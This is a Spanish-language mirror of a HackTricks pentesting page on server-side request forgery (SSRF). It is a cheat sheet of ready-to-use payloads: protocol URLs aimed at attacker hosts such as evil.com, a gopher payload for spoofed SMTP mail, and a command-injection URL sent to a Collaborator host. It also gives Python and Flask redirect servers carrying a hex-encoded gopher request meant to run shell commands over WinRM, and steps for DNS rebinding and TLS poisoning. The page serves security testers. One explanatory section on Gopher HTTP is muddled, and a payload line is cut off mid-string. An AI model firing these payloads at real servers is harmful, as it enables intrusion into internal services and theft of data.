mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
330 lines
24 KiB
Markdown
330 lines
24 KiB
Markdown
|
# SSRF (Server Side Request Forgery)
|
||
|
|
||
|
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
|
||
|
\
|
||
|
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||
|
Obtenga acceso hoy mismo:
|
||
|
|
||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
|
||
|
La falsificación de petición en servidor (también conocida como SSRF) es una vulnerabilidad de seguridad web que permite a un atacante **inducir a la aplicación del lado del servidor a realizar solicitudes HTTP a un dominio arbitrario** elegido por el atacante. (De [aquí](https://portswigger.net/web-security/ssrf))
|
||
|
|
||
|
## Captura de SSRF
|
||
|
|
||
|
Lo primero que debe hacer es capturar una interacción de SSRF provocada por usted. Para capturar una interacción HTTP o DNS, puede utilizar herramientas como:
|
||
|
|
||
|
* **Burpcollab**
|
||
|
* [**pingb**](http://pingb.in)
|
||
|
* [**canarytokens**](https://canarytokens.org/generate)
|
||
|
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
|
||
|
* [**http://webhook.site**](http://webhook.site)
|
||
|
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
|
||
|
|
||
|
## Bypass de dominios permitidos
|
||
|
|
||
|
Por lo general, encontrará que el SSRF solo funciona en **ciertos dominios o URL permitidos**. En la siguiente página, tiene una **compilación de técnicas para intentar evitar esa lista blanca**:
|
||
|
|
||
|
{% content-ref url="url-format-bypass.md" %}
|
||
|
[url-format-bypass.md](url-format-bypass.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### Bypass a través de redirección abierta
|
||
|
|
||
|
Si el servidor está protegido correctamente, podría **evitar todas las restricciones explotando una redirección abierta dentro de la página web**. Debido a que la página web permitirá **SSRF al mismo dominio** y probablemente **seguirá las redirecciones**, puede explotar la **redirección abierta para hacer que el servidor acceda a cualquier recurso interno**.\
|
||
|
Lea más aquí: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||
|
|
||
|
## Protocolos
|
||
|
|
||
|
### file://
|
||
|
```
|
||
|
file:///etc/passwd
|
||
|
```
|
||
|
### dict://
|
||
|
|
||
|
El esquema de URL DICT se utiliza para hacer referencia a definiciones o listas de palabras disponibles utilizando el protocolo DICT:
|
||
|
```
|
||
|
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
|
||
|
ssrf.php?url=dict://attacker:11111/
|
||
|
```
|
||
|
### SFTP://
|
||
|
|
||
|
Un protocolo de red utilizado para la transferencia segura de archivos sobre shell seguro.
|
||
|
```
|
||
|
ssrf.php?url=sftp://evil.com:11111/
|
||
|
```
|
||
|
### TFTP://
|
||
|
|
||
|
El Protocolo de Transferencia de Archivos Triviales, funciona sobre UDP.
|
||
|
```
|
||
|
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
|
||
|
```
|
||
|
### LDAP://
|
||
|
|
||
|
Protocolo de Acceso a Directorios Ligeros. Es un protocolo de aplicación utilizado sobre una red IP para gestionar y acceder al servicio de información de directorio distribuido.
|
||
|
```
|
||
|
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
|
||
|
```
|
||
|
### Gopher://
|
||
|
|
||
|
Usando este protocolo puedes especificar la **IP, puerto y bytes** que quieres que el servidor **envíe**. Entonces, básicamente puedes explotar una SSRF para **comunicarte con cualquier servidor TCP** (pero necesitas saber cómo hablar con el servicio primero).\
|
||
|
Afortunadamente, puedes usar [Gopherus](https://github.com/tarunkant/Gopherus) para crear payloads para varios servicios. Adicionalmente, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) puede ser usado para crear payloads _gopher_ para servicios _Java RMI_.
|
||
|
|
||
|
**Gopher smtp**
|
||
|
```
|
||
|
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
|
||
|
will make a request like
|
||
|
HELO localhost
|
||
|
MAIL FROM:<hacker@site.com>
|
||
|
RCPT TO:<victim@site.com>
|
||
|
DATA
|
||
|
From: [Hacker] <hacker@site.com>
|
||
|
To: <victime@site.com>
|
||
|
Date: Tue, 15 Sep 2017 17:20:26 -0400
|
||
|
Subject: Ah Ah AHYou didn't say the magic word !
|
||
|
.
|
||
|
QUIT
|
||
|
```
|
||
|
**Gopher HTTP**
|
||
|
|
||
|
El protocolo Gopher es un protocolo de red que se utiliza para recuperar información de un servidor. Aunque ya no es muy utilizado, algunos servidores aún lo utilizan. Gopher utiliza el puerto 70 para la comunicación.
|
||
|
|
||
|
Gopher HTTP es una técnica que aprovecha la capacidad de algunos servidores para recuperar información a través del protocolo Gopher. Esta técnica se utiliza para realizar ataques SSRF (Server-Side Request Forgery) en servidores que no permiten la recuperación de información a través de HTTP o HTTPS.
|
||
|
|
||
|
Para utilizar esta técnica, se debe enviar una solicitud HTTP GET a un servidor que permita la recuperación de información a través del protocolo Gopher. La solicitud debe incluir una URL que apunte a la información que se desea recuperar. El servidor Gopher recuperará la información y la enviará de vuelta al cliente a través del protocolo HTTP.
|
||
|
|
||
|
Esta técnica es muy útil para realizar ataques SSRF en servidores que no permiten la recuperación de información a través de HTTP o HTTPS. Sin embargo, es importante tener en cuenta que no todos los servidores permiten la recuperación de información a través del protocolo Gopher.
|
||
|
```bash
|
||
|
#For new lines you can use %0A, %0D%0A
|
||
|
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
||
|
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
||
|
```
|
||
|
**Gopher SMTP - Conexión inversa a 1337**
|
||
|
|
||
|
{% code title="redirect.php" %}
|
||
|
```php
|
||
|
<?php
|
||
|
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
||
|
?>Now query it.
|
||
|
https://example.com/?q=http://evil.com/redirect.php.
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
### SMTP
|
||
|
|
||
|
Desde [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\
|
||
|
1\. Conéctese con SSRF en smtp localhost:25\
|
||
|
2\. Desde la primera línea, obtenga el nombre de dominio interno 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
|
||
|
3\. Busque[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)en github, encuentre subdominios\
|
||
|
4\. Conéctese
|
||
|
|
||
|
### Curl URL globbing - Bypass de WAF
|
||
|
|
||
|
Si el SSRF es ejecutado por **curl**, curl tiene una función llamada [**URL globbing**](https://everything.curl.dev/cmdline/globbing) que podría ser útil para eludir WAFs. Por ejemplo, en este [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) puedes encontrar este ejemplo para una **travesía de ruta a través del protocolo `file`**:
|
||
|
```
|
||
|
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||
|
```
|
||
|
## Capturar solicitudes SSRF
|
||
|
|
||
|
* Burp Collaborator
|
||
|
* [http://requestrepo.com/](http://requestrepo.com/)
|
||
|
* [https://app.interactsh.com/](https://app.interactsh.com/)
|
||
|
|
||
|
## SSRF a través del encabezado Referrer
|
||
|
|
||
|
Algunas aplicaciones emplean software de análisis del lado del servidor que rastrea a los visitantes. Este software a menudo registra el encabezado Referrer en las solicitudes, ya que esto es de particular interés para rastrear los enlaces entrantes. A menudo, el software de análisis visitará cualquier URL de terceros que aparezca en el encabezado Referrer. Esto se hace típicamente para analizar el contenido de los sitios de referencia, incluido el texto del ancla que se utiliza en los enlaces entrantes. Como resultado, el encabezado Referer a menudo representa una superficie de ataque fructífera para las vulnerabilidades SSRF.\
|
||
|
Para descubrir este tipo de vulnerabilidades "ocultas", podría utilizar el complemento "**Collaborator Everywhere**" de Burp.
|
||
|
|
||
|
## SSRF a través de los datos SNI del certificado
|
||
|
|
||
|
La configuración incorrecta más simple que le permitiría conectarse a un backend arbitrario se vería algo así:
|
||
|
```nginx
|
||
|
stream {
|
||
|
server {
|
||
|
listen 443;
|
||
|
resolver 127.0.0.11;
|
||
|
proxy_pass $ssl_preread_server_name:443;
|
||
|
ssl_preread on;
|
||
|
}
|
||
|
}
|
||
|
```
|
||
|
Aquí, el valor del campo SNI se utiliza directamente como la dirección del backend.
|
||
|
|
||
|
Con esta configuración insegura, podemos **explotar la vulnerabilidad SSRF simplemente especificando la IP o el nombre de dominio deseado en el campo SNI**. Por ejemplo, el siguiente comando obligaría a Nginx a conectarse a _internal.host.com_:
|
||
|
```bash
|
||
|
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
|
||
|
```
|
||
|
## [Carga de archivos Wget](../file-upload/#wget-file-upload-ssrf-trick)
|
||
|
|
||
|
## SSRF con inyección de comandos
|
||
|
|
||
|
Podría valer la pena probar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||
|
|
||
|
## Renderización de PDFs
|
||
|
|
||
|
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algún JS que será ejecutado por el creador de PDF** en sí (el servidor) mientras crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||
|
|
||
|
## De SSRF a DoS
|
||
|
|
||
|
Crea varias sesiones e intenta descargar archivos pesados explotando el SSRF de las sesiones.
|
||
|
|
||
|
## Funciones PHP SSRF
|
||
|
|
||
|
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
|
||
|
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Redirección SSRF a Gopher
|
||
|
|
||
|
Para algunas explotaciones, es posible que necesites **enviar una respuesta de redirección** (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos de Python para responder con una redirección:
|
||
|
```python
|
||
|
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||
|
import ssl
|
||
|
|
||
|
class MainHandler(BaseHTTPRequestHandler):
|
||
|
def do_GET(self):
|
||
|
print("GET")
|
||
|
self.send_response(301)
|
||
|
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d
|
||
|
self.end_headers()
|
||
|
|
||
|
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
|
||
|
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
|
||
|
httpd.serve_forever()
|
||
|
```
|
||
|
|
||
|
```python
|
||
|
from flask import Flask, redirect
|
||
|
from urllib.parse import quote
|
||
|
app = Flask(__name__)
|
||
|
|
||
|
@app.route('/')
|
||
|
def root():
|
||
|
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
|
||
|
|
||
|
if __name__ == "__main__":
|
||
|
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||
|
```
|
||
|
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
|
||
|
\
|
||
|
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
|
||
|
Obtén acceso hoy mismo:
|
||
|
|
||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
|
||
|
## Bypass de CORS/SOP con DNS Rebidding
|
||
|
|
||
|
Si tienes **problemas** para **filtrar contenido desde una IP local** debido a **CORS/SOP**, se puede utilizar el **DNS Rebidding** para evitar esa limitación:
|
||
|
|
||
|
{% content-ref url="../cors-bypass.md" %}
|
||
|
[cors-bypass.md](../cors-bypass.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### DNS Rebidding Automatizado
|
||
|
|
||
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Incluye los componentes necesarios para volver a enlazar la dirección IP del servidor de ataque con el nombre DNS de la máquina objetivo y para servir cargas de ataque para explotar el software vulnerable en la máquina objetivo.
|
||
|
|
||
|
También puedes revisar el **servidor público en** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)\*\*\*\*
|
||
|
|
||
|
## DNS Rebidding + ID de sesión de TLS/ID de ticket de sesión
|
||
|
|
||
|
Requisitos:
|
||
|
|
||
|
* **SSRF**
|
||
|
* **Sesiones TLS salientes**
|
||
|
* **Cosas en puertos locales**
|
||
|
|
||
|
Ataque:
|
||
|
|
||
|
1. Pide al usuario/bot **acceder** a un **dominio** controlado por el **atacante**
|
||
|
2. El **TTL** del **DNS** es de **0** segundos (para que la víctima vuelva a comprobar la IP del dominio pronto)
|
||
|
3. Se crea una **conexión TLS** entre la víctima y el dominio del atacante. El atacante introduce la **carga útil dentro** del **ID de sesión o del ticket de sesión**.
|
||
|
4. El **dominio** iniciará un **bucle infinito** de redirecciones contra **sí mismo**. El objetivo de esto es hacer que el usuario/bot acceda al dominio hasta que realice **nuevamente** una **solicitud DNS** del dominio.
|
||
|
5. En la solicitud DNS se da una dirección IP **privada** **ahora** (por ejemplo, 127.0.0.1)
|
||
|
6. El usuario/bot intentará **restablecer la conexión TLS** y para hacerlo enviará el **ID de sesión o el ID del ticket** (donde se encontraba la **carga útil** del atacante). Así que felicidades, has logrado que el **usuario/bot se ataque a sí mismo**.
|
||
|
|
||
|
Ten en cuenta que durante este ataque, si deseas atacar localhost:11211 (_memcache_), debes hacer que la víctima establezca la conexión inicial con www.attacker.com:11211 (el **puerto siempre debe ser el mismo**).\
|
||
|
Para **realizar este ataque puedes usar la herramienta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||
|
Para **más información**, echa un vistazo a la charla donde se explica este ataque: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||
|
|
||
|
## SSRF a ciegas
|
||
|
|
||
|
La diferencia entre un SSRF a ciegas y uno que no lo es, es que en el ciego no puedes ver la respuesta de la solicitud SSRF. Entonces, es más difícil de explotar porque solo podrás explotar vulnerabilidades conocidas.
|
||
|
|
||
|
### SSRF basado en tiempo
|
||
|
|
||
|
**Comprobando el tiempo** de las respuestas del servidor, puede ser **posible saber si un recurso existe o no** (tal vez tarda más tiempo en acceder a un recurso existente que a uno que no existe)
|
||
|
|
||
|
## Explotación de SSRF en la nube
|
||
|
|
||
|
Si encuentras una vulnerabilidad SSRF en una máquina que se ejecuta dentro de un entorno en la nube, es posible que puedas obtener información interesante sobre el entorno en la nube e incluso credenciales:
|
||
|
|
||
|
{% content-ref url="cloud-ssrf.md" %}
|
||
|
[cloud-ssrf.md](cloud-ssrf.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Plataformas vulnerables a SSRF
|
||
|
|
||
|
Varias plataformas conocidas contienen o han contenido vulnerabilidades SSRF, revísalas en:
|
||
|
|
||
|
{% content-ref url="ssrf-vulnerable-platforms.md" %}
|
||
|
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Herramientas
|
||
|
|
||
|
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
|
||
|
|
||
|
Herramienta para detectar y explotar vulnerabilidades SSRF
|
||
|
|
||
|
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
||
|
|
||
|
* [Publicación en el blog sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
||
|
|
||
|
Esta herramienta genera cargas útiles de Gopher para:
|
||
|
|
||
|
* MySQL
|
||
|
* PostgreSQL
|
||
|
* FastCGI
|
||
|
* Redis
|
||
|
* Zabbix
|
||
|
* Memcache
|
||
|
|
||
|
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||
|
|
||
|
* [Publicación en el blog sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||
|
|
||
|
_remote-method-guesser_ es un escáner de vulnerabilidades de _Java RMI_ que admite operaciones de ataque para la mayoría de las vulnerabilidades comunes de _Java RMI_. La mayoría de las operaciones disponibles admiten la opción `--ssrf`, para generar una carga útil de _SSRF_ para la operación solicitada. Junto con la opción `--gopher`, se pueden generar cargas útiles de _gopher_ listas para usar directamente.
|
||
|
|
||
|
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||
|
|
||
|
SSRF Proxy es un servidor proxy HTTP multiproceso diseñado para tunelizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a la falsificación de solicitudes del lado del servidor (SSRF).
|
||
|
|
||
|
### Para practicar
|
||
|
|
||
|
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
||
|
|
||
|
## Referencias
|
||
|
|
||
|
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
||
|
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a
|